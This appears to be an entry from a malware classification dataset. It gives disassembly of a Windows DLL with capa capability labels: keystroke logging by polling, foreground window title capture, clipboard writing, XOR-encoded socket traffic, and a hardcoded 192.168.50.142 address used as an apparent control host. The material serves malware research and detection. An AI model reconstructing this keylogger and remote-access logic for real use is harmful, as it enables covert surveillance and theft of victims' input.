joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180004810
Capabilities:
Send data
Send data on socket

Disassembly:
push rbx
sub rsp, 0x20
mov eax, dword [rdx + 0x14]
mov rbx, rcx
test eax, eax
je 0x180004840
mov dword [rcx + 0x50], eax
mov dword [rcx + 0x48], 1
mov dword [rcx + 0x4c], 2
xor eax, eax
mov dword [rcx + 0x54], 1
add rsp, 0x20
pop rbx
ret
mov rdx, qword [rcx + 0x60]
mov rcx, qword [rcx + 0x58]
mov r8d, 0x23
call qword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
jne 0x18000487f
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [rbx + 0x48], 1
mov dword [rbx + 0x4c], 2
mov dword [rbx + 0x50], eax
xor eax, eax
mov dword [rbx + 0x54], 1
add rsp, 0x20
pop rbx
ret
mov dword [rbx + 0x88], 1
lea r9, [rbx + 0x220]
lea rcx, [rbx + 0x268]
mov r8, rbx
mov rdx, rbx
mov qword [rsp + 0x30], rdi
mov dword [rbx + 0x8c], 1
call fcn.180005d50
mov rcx, qword [rbx + 0x58]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor edi, edi
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x1800048da
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
cmove eax, edi
mov edi, eax
mov rcx, qword [rbx + 0x68]
call fcn.180003200
test edi, edi
mov rdi, qword [rsp + 0x30]
je 0x1800048f7
mov ecx, 0x80004005
call fcn.180001220
int3
mov eax, 1
add rsp, 0x20
pop rbx
ret

Function at 0x180004910
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rdi
sub rsp, 0x30
mov rbx, rcx
lea rbp, [0x18002ca98]
nop dword [rax]
mov rdx, qword [rbx + 0xa0]
mov rcx, qword [rbx + 0x58]
xor r9d, r9d
mov r8d, 0x598
call qword [sym.imp.WS2_32.dll_recv]
mov edi, eax
test eax, eax
jle 0x1800049c9
cmp eax, 0x10
jne 0x18000497c
mov rax, qword [rbx + 0xa0]
mov rdx, qword [rax]
cmp rdx, qword [rbp]
jne 0x180004973
mov rdx, qword [rax + 8]
cmp rdx, qword [rbp + 8]
jne 0x180004973
xor eax, eax
jmp 0x180004978
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1800049fb
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov r11d, dword [rbx + 0x244]
mov rdx, qword [rbx + 0xa0]
lea rcx, [rbx + 0x268]
cmp edi, 0x18
jl 0x1800049b4
mov r9, qword [rbx + 0x250]
mov r8d, edi
mov dword [rsp + 0x20], r11d
call fcn.1800063a0
jmp 0x1800049be
cmp edi, 0xc
jne 0x180004a23
call fcn.180006210
cmp eax, 2
jne 0x180004930
jmp 0x180004a2e
cmp eax, 0xffffffff
jne 0x180004930
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x180004a71
cmp eax, 0x2744
je 0x180004930
cmp eax, 0x2746
je 0x180004930
jmp 0x180004a47
mov dword [rbx + 0x48], 1
mov qword [rbx + 0x4c], 5
mov dword [rbx + 0x54], 0
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
mov ecx, recv
call qword [sym.imp.WS2_32.dll_WSASetLastError]
mov rcx, qword [rbx + 0x68]
call fcn.180003200
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x4c7
test eax, eax
cmove eax, ecx
mov dword [rbx + 0x48], 1
mov dword [rbx + 0x4c], 4
mov dword [rbx + 0x50], eax
mov dword [rbx + 0x54], 1
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov eax, 1
add rsp, 0x30
pop rdi
ret
Function at 0x180004a90
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov rbp, rcx
lea rdi, [rcx + 0xb8]
call fcn.180004c90
mov rsi, rax
test rax, rax
je 0x180004ba8
nop word [rax + rax]
mov r8d, dword [rsi + 0x30]
mov rdx, qword [rsi + 0x28]
mov rcx, qword [rbp + 0x58]
sub r8d, dword [rsi + 0x28]
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
mov r12d, eax
test eax, eax
jle 0x180004b13
lea rcx, [rbp + 0x1b8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
sub dword [rbp + 0x218], r12d
lea rcx, [rbp + 0x1b8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x180004b1c
cmp eax, 0xffffffff
je 0x180004bd4
cmp qword [rdi + 0x38], 0
je 0x180004b7c
xor r9d, r9d
cmp dword [rdi + 0x30], r9d
jbe 0x180004b7c
nop dword [rax]
mov r8d, dword [rdi + 0x78]
mov eax, dword [rdi + 0xb8]
mov r10d, dword [rdi + 0x30]
mov ecx, r8d
sub ecx, eax
cmp ecx, r10d
jge 0x180004b7c
xor edx, edx
mov eax, r8d
div r10d
mov ecx, edx
mov rdx, qword [rdi + 0x38]
cmp qword [rdx + rcx*8], 0
jne 0x180004b67
xor eax, eax
lock cmpxchg qword [rdx + rcx*8], rsi
je 0x180004bc6
lea ecx, [r8 + 1]
mov eax, r8d
lock cmpxchg dword [rdi + 0x78], ecx
inc r9d
cmp r9d, dword [rdi + 0x30]
jb 0x180004b30
mov rcx, qword [rsi]
mov r8, rsi
xor edx, edx
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rbp
lea rdi, [rbp + 0xb8]
call fcn.180004c90
mov rsi, rax
test rax, rax
jne 0x180004ad0
mov eax, 1
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret
lea ecx, [r8 + 1]
mov eax, r8d
lock cmpxchg dword [rdi + 0x78], ecx
jmp 0x180004b8d
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x180004c41
lea rcx, [rbp + 0x1b8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rbp + 0x1e8]
test rax, rax
je 0x180004c0b
mov qword [rax + 0x10], rsi
mov rax, qword [rbp + 0x1e8]
mov qword [rsi + 8], rax
jmp 0x180004c22
mov qword [rsi + 0x10], 0
mov qword [rsi + 8], 0
mov qword [rbp + 0x1f0], rsi
inc dword [rbp + 0x1e0]
lea rcx, [rbp + 0x1b8]
mov qword [rbp + 0x1e8], rsi
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x180004ba8
lea rcx, [rdi + 0x30]
mov rdx, rsi
mov dword [rbp + 0x48], 1
mov dword [rbp + 0x4c], 3
mov dword [rbp + 0x50], eax
mov dword [rbp + 0x54], 1
call fcn.1800015b0
test eax, eax
jne 0x180004c7a
mov rcx, qword [rsi]
mov r8, rsi
xor edx, edx
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, eax
jmp 0x180004bad
Function at 0x180004d40
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov rcx, rbx
mov edi, eax
call fcn.180004120
test eax, eax
jne 0x180004d6c
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov edx, edi
mov rcx, rbx
call fcn.180004f60
mov eax, dword [rbx + 0x88]
xor edi, edi
test eax, eax
je 0x180004da5
cmp dword [rbx + 0x54], edi
je 0x180004d9f
mov rcx, qword [rbx + 0x58]
lea r8d, [rdi + 0x10]
lea rdx, [0x18002ca98]
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
mov dword [rbx + 0x88], edi
cmp dword [rbx + 0x48], edi
je 0x180004dc2
mov rcx, qword [rbx + 0x68]
call fcn.180003200
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov eax, edi
xchg dword [rbx + 0x20], eax
mov rcx, qword [rbx + 0x60]
test rcx, rcx
je 0x180004dd5
call qword [sym.imp.WS2_32.dll_WSACloseEvent]
mov qword [rbx + 0x60], rdi
mov rcx, qword [rbx + 0x58]
cmp rcx, 0xffffffffffffffff
je 0x180004dfc
mov edx, 1
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, qword [rbx + 0x58]
call qword [sym.imp.WS2_32.dll_closesocket]
mov qword [rbx + 0x58], 0xffffffffffffffff
mov rcx, rbx
call fcn.180004e20
mov rbx, qword [rsp + 0x30]
mov eax, 1
add rsp, 0x20
pop rdi
ret

Function at 0x180005310
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rbx, rcx
mov rcx, qword [rcx + 8]
mov edi, r8d
mov rsi, rdx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, qword [rbx + 0x358]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.WINMM.dll_timeGetTime]
mov dword [rbx + 0x1c], eax
xor eax, eax
xchg dword [rbx + 0x20], eax
xor eax, eax
mov qword [rbx + 0x30], rax
mov word [rbx + 0x38], ax
mov rax, qword [rbx + 0x1c]
mov qword [rbx + 0x30], rax
mov eax, dword [rbx + 0x8c]
mov word [rbx + 0x38], 0x1ca
cmp eax, 3
je 0x180005378
mov rcx, rbx
call fcn.180004d40
movzx r8d, di
mov rdx, rsi
mov rcx, rbx
call fcn.180003f30
mov rcx, qword [rbx + 0x358]
mov edx, 0x1770
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x1800053c8
cmp eax, 0x102
je 0x1800053a9
cmp eax, 0xffffffff
jne 0x1800053b6
mov rcx, qword [rbx + 0x358]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor al, al
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
mov eax, 1
xchg dword [rbx + 0x20], eax
mov rcx, qword [rbx + 0x358]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea r11, [rsp + 0x40]
lea r8, [0x180005420]
mov qword [rsp + 0x28], r11
mov r9, rbx
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call fcn.18001656c
mov rsi, qword [rsp + 0x50]
mov qword [rbx + 0x360], rax
mov rbx, qword [rsp + 0x48]
mov al, 1
add rsp, 0x30
pop rdi
ret
Function at 0x180005570
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov esi, r8d
mov r12, rdx
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rdi + 0x14], eax
je 0x1800055b3
nop dword [rax]
mov r9d, 1
xchg dword [rdi + 0x10], r9d
cmp r9d, 1
je 0x1800055a0
mov dword [rdi + 0x14], eax
inc dword [rdi + 0x18]
xor r13d, r13d
lea ebp, [rsi + 0xe]
cmp qword [rdi + 0x340], r13
jne 0x1800055ca
mov edx, r13d
jmp 0x1800055d6
mov edx, dword [rdi + 0x348]
sub edx, dword [rdi + 0x340]
lea rcx, [rdi + 0x338]
add edx, 4
call fcn.180001080
mov rax, qword [rdi + 0x348]
mov dword [rax], ebp
add qword [rdi + 0x348], 4
cmp qword [rdi + 0x340], r13
jne 0x180005604
mov edx, r13d
jmp 0x180005610
mov edx, dword [rdi + 0x348]
sub edx, dword [rdi + 0x340]
lea rcx, [rdi + 0x338]
add edx, 0xa
call fcn.180001080
mov rax, qword [rdi + 0x30]
mov rcx, qword [rdi + 0x348]
mov qword [rcx], rax
movzx eax, word [rdi + 0x38]
mov word [rcx + 8], ax
add qword [rdi + 0x348], 0xa
cmp qword [rdi + 0x340], r13
jne 0x18000564b
mov eax, r13d
jmp 0x180005657
mov eax, dword [rdi + 0x348]
sub eax, dword [rdi + 0x340]
lea edx, [rax + rsi]
lea rcx, [rdi + 0x338]
call fcn.180001080
mov rcx, qword [rdi + 0x348]
mov r8, rsi
mov rdx, r12
call fcn.180015b40
mov r11d, r13d
mov r9, r13
mov r10, r13
test esi, esi
jle 0x1800056e4
nop word [rax + rax]
movzx ecx, byte [rdi + r9 + 0x30]
mov r8, qword [rdi + 0x348]
inc r9
mov eax, 0x8fb823ef
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 0xcccccccd
imul edx, edx, 0x1c8
sub ecx, edx
mul r11d
add cl, 0x36
xor byte [r10 + r8], cl
shr edx, 3
lea ecx, [rdx + rdx*4]
add ecx, ecx
cmp r11d, ecx
cmove r9, r13
inc r11d
inc r10
cmp r11d, esi
jl 0x180005690
add qword [rdi + 0x348], rsi
cmp qword [rdi + 0x340], r13
jne 0x1800056f9
mov r8d, r13d
jmp 0x180005707
mov r8d, dword [rdi + 0x348]
sub r8d, dword [rdi + 0x340]
mov rdx, qword [rdi + 0x340]
mov rcx, rdi
call fcn.180005770
mov r11, qword [rdi + 0x340]
lea rcx, [rdi + 0x338]
mov edx, 0x400
mov qword [rdi + 0x348], r11
call fcn.180001140
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp eax, dword [rdi + 0x14]
mov eax, 1
jne 0x18000574e
dec dword [rdi + 0x18]
jne 0x18000574e
mov qword [rdi + 0x10], r13
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret
Function at 0x180006660
Capabilities:
Log keystrokes via polling

Disassembly:
push rbx
sub rsp, 0x40
mov rax, qword [0x180034310]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, rcx
mov rcx, qword [0x18003bca0]
lea r8, [0x18003bca8]
mov rax, qword [rcx]
lea rdx, [0x18002ca60]
xor r9d, r9d
call qword [rax + 0x18]
test eax, eax
jns 0x1800066af
xor al, al
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.180015b10
add rsp, 0x40
pop rbx
ret
mov rcx, qword [0x18003bca8]
lea rdx, [0x18002ca20]
mov rax, qword [rcx]
call qword [rax + 0x58]
test eax, eax
js 0x18000669a
mov rcx, qword [0x18003bca8]
mov rdx, qword [rbx]
mov r8d, 0xa
mov rax, qword [rcx]
call qword [rax + 0x68]
test eax, eax
js 0x18000669a
mov rcx, qword [0x18003bca8]
xor ebx, ebx
mov dword [rsp + 0x20], socket
mov qword [rsp + 0x24], reloc.WS2_32.dll_recv
mov dword [rsp + 0x2c], ebx
mov dword [rsp + 0x30], 0x3c
mov rax, qword [rcx]
lea r8, [rsp + 0x20]
lea edx, [rbx + 1]
call qword [rax + 0x30]
test eax, eax
js 0x18000669a
mov rcx, qword [0x18003bca8]
mov rax, qword [rcx]
call qword [rax + 0x38]
test eax, eax
js 0x18000669a
lea ecx, [rbx + 0x14]
call qword [sym.imp.USER32.dll_GetKeyState]
cmp ax, 0xff81
je 0x180006749
mov dword [0x18003bcb8], ebx
cmp ax, 1
jne 0x180006753
mov dword [0x18003bcb8], 1
mov al, 1
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.180015b10
add rsp, 0x40
pop rbx
ret
Function at 0x180006770
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
push r14
sub rsp, 0x48
mov rbp, rcx
mov rcx, qword [0x18003bca8]
test rcx, rcx
je 0x1800067b2
mov dword [0x18003bcb0], 0x3c
mov rax, qword [rcx]
lea r9, [0x18003bcb0]
lea r8, [0x18003bcc0]
mov edx, 0x18
mov dword [rsp + 0x20], 0
call qword [rax + 0x50]
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x40], r12
xor r14d, r14d
mov qword [rsp + 0x38], r13
cmp dword [0x18003bcb0], r14d
mov qword [rsp + 0x30], r15
jle 0x18000697c
lea r13, [0x18003bcc4]
lea r15, str._esc_
nop
xor ebx, ebx
lea r12, [0x180037018]
nop dword [rax]
mov eax, dword [r13 - 4]
dec eax
cmp eax, dword [r12]
jne 0x18000694c
test byte [r13], 0x80
je 0x18000691b
cmp ebx, 0x39
jne 0x18000684c
lea ecx, [rbx - 0x25]
call qword [sym.imp.USER32.dll_GetKeyState]
cmp ax, 0xff81
je 0x18000683f
cmp ax, 1
je 0x18000683f
xor eax, eax
mov dword [0x18003bcb8], eax
jmp 0x180006864
mov eax, 1
mov dword [0x18003bcb8], eax
jmp 0x180006864
cmp ebx, 0x29
je 0x1800068f2
cmp ebx, 0x35
je 0x1800068f2
mov eax, dword [0x18003bcb8]
cmp dword [0x18003bcb4], 0
je 0x1800068b1
movsxd rsi, ebx
imul rsi, rsi, 0x7c
lea rdi, [rsi + r15 + 0x28]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x18000688b
mov r9, rdi
jmp 0x1800068dd
cmp dword [0x18003bcb8], 0
je 0x1800068ab
lea rdi, [rsi + r15 + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x1800068ab
mov r9, rdi
jmp 0x1800068dd
lea r9, [rsi + r15]
jmp 0x1800068dd
test eax, eax
je 0x1800068d3
movsxd rax, ebx
imul rax, rax, 0x7c
lea rdi, [rax + r15 + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x1800068d3
mov r9, rdi
jmp 0x1800068dd
movsxd r9, ebx
imul r9, r9, 0x7c
add r9, r15
lea rdx, [0x18002cbb8]
mov r8, rbp
mov rcx, rbp
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x18000694c
movsxd r9, ebx
lea rdx, [0x18002cba8]
mov r8, rbp
mov rcx, rbp
imul r9, r9, 0x7c
add r9, r15
call qword [sym.imp.USER32.dll_wsprintfW]
mov dword [0x18003bcb4], 1
jmp 0x18000694c
cmp ebx, 0x29
je 0x180006925
cmp ebx, 0x35
jne 0x18000694c
movsxd r9, ebx
lea rdx, str._s_s
mov r8, rbp
mov rcx, rbp
imul r9, r9, 0x7c
add r9, r15
call qword [sym.imp.USER32.dll_wsprintfW]
mov dword [0x18003bcb4], 0
inc ebx
add r12, 0x7c
cmp ebx, 0x66
jl 0x180006800
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x1800069a4
inc r14d
add r13, 0x18
cmp r14d, dword [0x18003bcb0]
jl 0x1800067f0
xor al, al
mov r15, qword [rsp + 0x30]
mov r13, qword [rsp + 0x38]
mov r12, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x60]
add rsp, 0x48
pop r14
pop rbp
ret
mov al, 1
jmp 0x18000697e
Function at 0x180007300
Capabilities:
Create thread
Get common file path

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x40
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rsi
mov r8, rdx
mov rdi, rcx
lea rax, vtable.CManager.0
mov qword [rcx], rax
mov qword [rcx + 8], rdx
mov rax, qword [rdx]
mov rdx, rcx
mov rcx, r8
call qword [rax + 0x18]
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rdi + 0x18], rax
xor esi, esi
mov dword [rdi + 0x10], esi
lea rax, vtable.CKeyboardManager.0
mov qword [rdi], rax
lea rcx, [rdi + 0x250]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
mov ecx, esi
test eax, eax
setne cl
test ecx, ecx
jne 0x180007387
mov ecx, 0x80004005
call fcn.180001220
nop
lea rcx, [rdi + 0x280]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
mov ecx, esi
test eax, eax
setne cl
test ecx, ecx
jne 0x1800073ac
mov ecx, 0x80004005
call fcn.180001220
nop
mov dword [rdi + 0x28], esi
lea rbx, [rdi + 0x2c]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x23]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea rdx, str.DisplaySessionContainers.log
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov r8, rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rdi + 0x238], rax
mov byte [rdi + 0x234], 1
mov ecx, 0x400
call fcn.180014f9c
mov qword [0x18003bc88], rax
mov ecx, 0x800
call fcn.180014f9c
mov qword [0x18003bc80], rax
xor edx, edx
mov rcx, qword [0x18003bc88]
mov qword [rcx], rdx
xor ecx, ecx
mov qword [rax], rcx
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rdi + 0x278], eax
mov byte [rsp + 0x58], 0xb
cmp dword [rdi + 0x10], 0
jne 0x180007454
mov rcx, qword [rdi + 8]
mov rax, qword [rcx]
mov r8d, 1
lea rdx, [rsp + 0x58]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
mov r9, rdi
lea r8, [0x180006ff0]
xor edx, edx
xor ecx, ecx
call fcn.18001656c
mov qword [rdi + 0x240], rax
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
mov r9, rdi
lea r8, [0x1800071d0]
xor edx, edx
xor ecx, ecx
call fcn.18001656c
mov qword [rdi + 0x248], rax
mov dword [rdi + 0x28], 1
mov dword [rdi + 0x27c], esi
mov rax, rdi
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret
Function at 0x180007710
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x870
mov rax, qword [0x180034310]
xor rax, rsp
mov qword [rsp + 0x860], rax
mov rax, qword [0x18003bc80]
mov rdi, rcx
xor ecx, ecx
mov qword [rax], rcx
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov rdx, qword [0x18003bc80]
mov rcx, rax
mov r8d, 0x400
mov qword [0x18003c268], rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
lea rcx, [rsp + 0x62]
xor ebx, ebx
xor edx, edx
mov r8d, 0x7fe
mov word [rsp + 0x60], bx
call fcn.18001adf0
mov r11, qword [0x18003c260]
cmp qword [0x18003c268], r11
je 0x18000787b
mov rcx, qword [0x18003bc80]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x18000786d
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x888], rsi
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [rsp + 0x58]
movzx edx, word [rsp + 0x56]
movzx r8d, word [rsp + 0x52]
movzx r11d, word [rsp + 0x5c]
movzx eax, word [rsp + 0x5a]
movzx r9d, word [rsp + 0x50]
mov dword [rsp + 0x40], r11d
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x28], edx
mov dword [rsp + 0x20], r8d
mov r8, qword [0x18003bc80]
lea rdx, [0x18002cdc0]
lea rcx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea esi, [rax + rax + 3]
mov ecx, esi
call fcn.180014f9c
lea r8d, [rsi - 1]
lea rdx, [rsp + 0x60]
lea rcx, [rax + 1]
mov rbx, rax
mov byte [rax], 9
call fcn.180015b40
cmp dword [rdi + 0x10], 0
jne 0x18000784b
mov rcx, qword [rdi + 8]
mov r8d, esi
mov rdx, rbx
mov r9, qword [rcx]
call qword [r9 + reloc.WS2_32.dll_recv]
mov rcx, rbx
call fcn.180016660
mov rax, qword [0x18003bc80]
mov rsi, qword [rsp + 0x888]
xor r11d, r11d
mov ebx, 1
mov qword [rax], r11
mov rcx, qword [0x18003c268]
mov qword [0x18003c260], rcx
mov eax, ebx
mov rcx, qword [rsp + 0x860]
xor rcx, rsp
call fcn.180015b10
mov rbx, qword [rsp + 0x890]
add rsp, 0x870
pop rdi
ret
Function at 0x180008be0
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
movsxd rbx, edx
mov rsi, rcx
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
call qword [sym.imp.USER32.dll_OpenClipboard]
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, rbx
mov ecx, 2
mov rdi, rbx
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rbx, rax
test rax, rax
je 0x180008c5a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov r8, rdi
mov rdx, rsi
mov rcx, rax
call fcn.180015b40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rdx, rbx
mov ecx, 1
call qword [sym.imp.USER32.dll_SetClipboardData]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalFree]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.USER32.dll_CloseClipboard]
Function at 0x1800148e0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
dec edx
jne 0x18001492c
cmp dword [0x180036f94], edx
je 0x18001492c
cmp qword [0x18003c270], 0
jne 0x18001492c
xor eax, eax
lea r8, [0x1800147f0]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
mov qword [0x18003c270], rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 1
add rsp, 0x38
ret

Function at 0x180014940
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov edi, r8d
mov r8, rcx
mov ebx, edx
lea rcx, str.192.168.50.142
mov edx, 0xff
mov esi, r9d
call fcn.180016360
xor eax, eax
lea r8, [0x1800147f0]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov dword [0x180036f8c], ebx
mov dword [0x180036f90], edi
mov dword [rsp + 0x20], eax
mov dword [0x180036f94], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
or edx, 0xffffffff
mov qword [0x18003c270], rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
xor al, al
add rsp, 0x30
pop rdi
ret

Function at 0x1800149d0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
xor eax, eax
lea r8, [0x1800147f0]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
xor al, al
add rsp, 0x38
ret
Function at 0x1800191c3
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x180034310]
jne 0x180015b2a
rol rcx, 0x10
test cx, 0xffff
jne 0x180015b26
repz ret
ror rcx, 0x10
jmp 0x18001911c
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x18003aca0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x18003ad98]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1800191a1
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x18003aca0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x1800191c3
mov rax, qword [rsp + 0x88]
mov qword [0x18003ad98], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x18003ad38], rax
mov rax, qword [0x18003ad98]
mov qword [0x18003ac10], rax
mov rax, qword [rsp + 0x90]
mov qword [0x18003ad20], rax
mov dword [0x18003ac00], 0xc0000409
mov dword [0x18003ac04], 1
mov rax, qword [0x180034310]
mov qword [rsp + 0x68], rax
mov rax, qword [0x180034318]
